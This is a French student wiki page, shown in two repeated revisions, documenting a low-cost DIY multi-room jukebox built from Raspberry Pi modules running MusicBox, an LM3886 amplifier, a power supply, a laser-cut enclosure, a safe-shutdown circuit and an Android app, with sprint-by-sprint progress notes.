Wiki d'activités IMA - Contributions de l’utilisateur [fr]

P4 Jukebox multi-pièces

P4 Jukebox multi-pièces

2016-02-21T19:00:55Z

Jherin12 : /* Circuit ON/OFF */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).

====Objectif du projet====

Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.
 [[Fichier:P4_Presentation_Modules.png|650px]]

====Description du projet====

Pour arriver au bout de ce projet, il conviendra de développer :

* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)
* Une application sur Smartphone permettant de commander le système

====Choix techniques : matériel et logiciel====

'''Matériel envisagé :'''

* Plateforme Linux embarqué (Raspberry Pi)
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]

* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi 

'''Logiciels envisagés :'''

* Création d'une application pour Android avec Android Studio
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)

 

====Architecture des modules====
=====Présentation des modules=====

[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]

Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté. 
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''.
 Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.

=====Type de module 1=====

Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''. 
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.

=====Type de module 2=====

Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''.
 Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''. 
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.

 
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.
 [[Fichier:P4_Principe_Chaine_Transmission.png|500px]] 

===Étapes du projet===

* Définition du cadre du projet
* Création du cahier des charges
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)
* Développement du logiciel de diffusion de l'ordinateur central
* Développement de l'application mobile

=== Objectifs à long terme ===

=====Une solution DIY pour des coûts maitrisés=====

Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher. 

Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2). 

Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+. 
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite. 

==Suivi de l'avancement du Projet==

'''Planning prévisionnel mis à jour :''' 
[[Fichier:P4 Gantt.png|1000px]]

===Semaine 1 (21/09/2015)===

Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. 

Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :

* La Raspberry pi qui recevrait le flux via le réseau wifi
* Une carte son USB pour améliorer la qualité du signal
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son
* Des enceintes passive pour diffuser la musique

Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]

===Semaine 2 (28/09/2015)===

Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution "low cost" que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros). 

En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''. 

Les points clés du projet seraient :
* Entièrement réalisable soi-même
* Coût maîtrisé
* Modulable
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)
 

===Fonctionnement par SPRINT===
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''"sprint"''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges.
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. 
 

===Sprint #1 (15/10/2015) Objectif : Envoyer un flux musical vers une enceinte déjà existante===

====Préparation====

A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte. 

Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes. 

On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt. 
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.

====Réunion====
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac. 
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu. 

====Etat en fin de sprint====

On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :
*Réaliser une veille technologique complète sur les solutions existantes
*Se concentrer sur l’application mobile dans un premier temps.
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.

 

===Sprint #2 (10/11/2015) Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===
====Préparation====
=====Veille technologique=====

Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. 
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.

 
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :
 
[[Fichier:P4_veilletechno.png|500px]] 

=====Pi MusicBox=====

Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. 
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. 
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA. 

Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi : 
[[Fichier:P4_MUSICBOX.png|500px]]
 
 
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance]. 
[[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android BubbleUPnP]]

Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers "BedRoom1" : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&hl=fr BubbleUPnP]. 

Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.
 

====Réunion====

Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées. 
[[Fichier:P4_Sprint2.png|700px]]

====Etat en fin de sprint====

L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte
*Réaliser le PCB du circuit d’amplification à base de LM3886 

===Sprint #3 (05/01/2016) Objectif : Ampli audio & Réalisation de notre propre application Android===

====Préparation====
=====Application Android=====

Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]
 
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.
 
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.
 
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.

 
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.
 
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local. 

=====Amplificateur Audio=====

Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]
 
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.
 
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.
 
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm. 
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]
 
La version quasiment finale du PCB est donc la suivante :
 [[Fichier:P4_PCB_Ampli.PNG|470px]]
 
'''Principe de l'Amplificateur Audio'''
 
[[Fichier:P4_Ampli_Principe.png|600px]] 

 
Nous avons commandé
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2)) 
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886. 
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]

====Etat en fin de sprint====

Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques
*Le PCB n’a pas encore été tiré
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.
 

===Sprint #4 (18/01/2016) Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===

====Préparation====

'''Partie Hardware'''

=====Amplificateur=====

La version finale de notre carte d'amplificateur est la suivante :
 
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]
 
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo). 
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle. 

=====Alimentation=====

Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module. 
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]

Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu). 
Son principe de fonctionnement est le suivant : 

Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant : 
[[Fichier:Principe_Alim_1.png|400px]] 

Après double redressement par le pont de Graetz, on se retrouve avec ce signal : 
[[Fichier:Principe_Alim_2.png|400px]] 

Après filtrage par les condensateurs, on se retrouve avec un signal élevé et lissé : 
[[Fichier:Principe_Alim_3.png|400px]] 

La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de "ronflement". 
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel ! 

On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) : 
[[Fichier:Supply Schematics.png|700px]] 
NB : Le composant "KB1" est notre pont de Graetz (pont de diodes). 

Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer. 
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique. 
* Influence de la valeur capacitive d'entrée du filtre (C1+C3) 
[[Fichier:InfluenceCapaEntree.png|400px]] 
Plus elle est élevée, plus la tension efficace de sortie sera élevée. 
* Influence de la valeur de R1 
[[Fichier:InfluenceResistance.png|400px]] 
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple) 
* Influence de la valeur capacitive de sortie du filtre (C5+C7) 
[[Fichier:InfluenceCapaSortie.png|400px]] 
Plus la capacité de sortie est importante, plus on limite le ripple. 

=====Boîtier du module=====

Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique. 
Il nous a suffi de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]
* des boutons
* le bouton principal de volume sonore
* Un haut-parleur passif interne au module
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)
* Un switch pour passer du haut-parleur externe au haut-parleur interne
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur 
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]

ainsi qu'un design musical. 

Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse]. 

=====Circuit ON/OFF=====

La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre. 
En effet, l'extinction "brutale" pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées ! 
Pour "extinction brutale", comprenez
* Débranchement de la prise d'alimentation principale par l'utilisateur
* Coupure de courant

Nous avons donc pensé à un circuit à base de condensateurs et de relais : 
[[Fichier:DriverButtons_Schematics_2.png|700px]] 
Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF "normal", comprenant les boutons sur lesquels l'utilisateur agira. 
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF) 

'''Explication du circuit ON/OFF "normal" :''' 
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2) 
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --> La RPi ne sera donc plus alimentée. 
Pour éviter cela, on active une sortie de la RPi (Pin 3 de "To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.
*Pour l'extinction, on ajoute un retour (pin 6 de "To GPIO") qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.
*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi. 

'''Explication du circuit de sécurité (encadré en rouge) :''' 
* Un boîtier de piles (accessible de l'extérieur) 6V est connecté à ce circuit. Puisque la Raspberry Pi doit être alimentée en 5V, nous avons ajouté un régulateur de tension de 5V.
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, non connecté. Dans cette situation, la Raspberry fonctionne correctement avec la source d’alimentation normale et les piles ne sont pas utilisées.
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL2) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de "To GPIO") pour lancer le script d'extinction de celle-ci.
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (T3) (tout en haut à droite). Par conséquent, les piles ne seront plus connectées à la Raspberry ce qui les préservera en stoppant leur fourniture de courant inutile. 

Le PCB associé (réalisé sous Altium) est le suivant : (il a déjà été testé et fonctionne correctement) 
(Face TOP / Face BOTTOM) 
[[Fichier:DriverButtons_3D_TOP.png|300px]] [[Fichier:DriverButtons_3D_BOT.png|299px]] 

***REVISION B*** : 
Transistor T3 (qui connecte la RPi à la masse) en mode passant dès le branchement de la prise 5V (dans cette version, le transistor est donc déjà passant avant même que la RPi soit allumée. Evite les bugs de fonctionnement : 

[[Fichier:DriverButtonsREVB_Schematics.png|500px]] 
[[Fichier:DriverButtonsREVB_3D_TOP.png|200px]] [[Fichier:DriverButtonsREVB_3D_BOT.png|199px]]

P4 Jukebox multi-pièces

2016-02-21T18:57:32Z

Jherin12 : /* Circuit ON/OFF */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).

====Objectif du projet====

Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.
 [[Fichier:P4_Presentation_Modules.png|650px]]

====Description du projet====

Pour arriver au bout de ce projet, il conviendra de développer :

* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)
* Une application sur Smartphone permettant de commander le système

====Choix techniques : matériel et logiciel====

'''Matériel envisagé :'''

* Plateforme Linux embarqué (Raspberry Pi)
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]

* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi 

'''Logiciels envisagés :'''

* Création d'une application pour Android avec Android Studio
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)

 

====Architecture des modules====
=====Présentation des modules=====

[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]

Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté. 
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''.
 Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.

=====Type de module 1=====

Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''. 
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.

=====Type de module 2=====

Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''.
 Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''. 
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.

 
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.
 [[Fichier:P4_Principe_Chaine_Transmission.png|500px]] 

===Étapes du projet===

* Définition du cadre du projet
* Création du cahier des charges
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)
* Développement du logiciel de diffusion de l'ordinateur central
* Développement de l'application mobile

=== Objectifs à long terme ===

=====Une solution DIY pour des coûts maitrisés=====

Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher. 

Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2). 

Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+. 
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite. 

==Suivi de l'avancement du Projet==

'''Planning prévisionnel mis à jour :''' 
[[Fichier:P4 Gantt.png|1000px]]

===Semaine 1 (21/09/2015)===

Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. 

Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :

* La Raspberry pi qui recevrait le flux via le réseau wifi
* Une carte son USB pour améliorer la qualité du signal
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son
* Des enceintes passive pour diffuser la musique

Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]

===Semaine 2 (28/09/2015)===

Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution "low cost" que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros). 

En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''. 

Les points clés du projet seraient :
* Entièrement réalisable soi-même
* Coût maîtrisé
* Modulable
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)
 

===Fonctionnement par SPRINT===
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''"sprint"''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges.
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. 
 

===Sprint #1 (15/10/2015) Objectif : Envoyer un flux musical vers une enceinte déjà existante===

====Préparation====

A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte. 

Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes. 

On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt. 
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.

====Réunion====
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac. 
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu. 

====Etat en fin de sprint====

On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :
*Réaliser une veille technologique complète sur les solutions existantes
*Se concentrer sur l’application mobile dans un premier temps.
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.

 

===Sprint #2 (10/11/2015) Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===
====Préparation====
=====Veille technologique=====

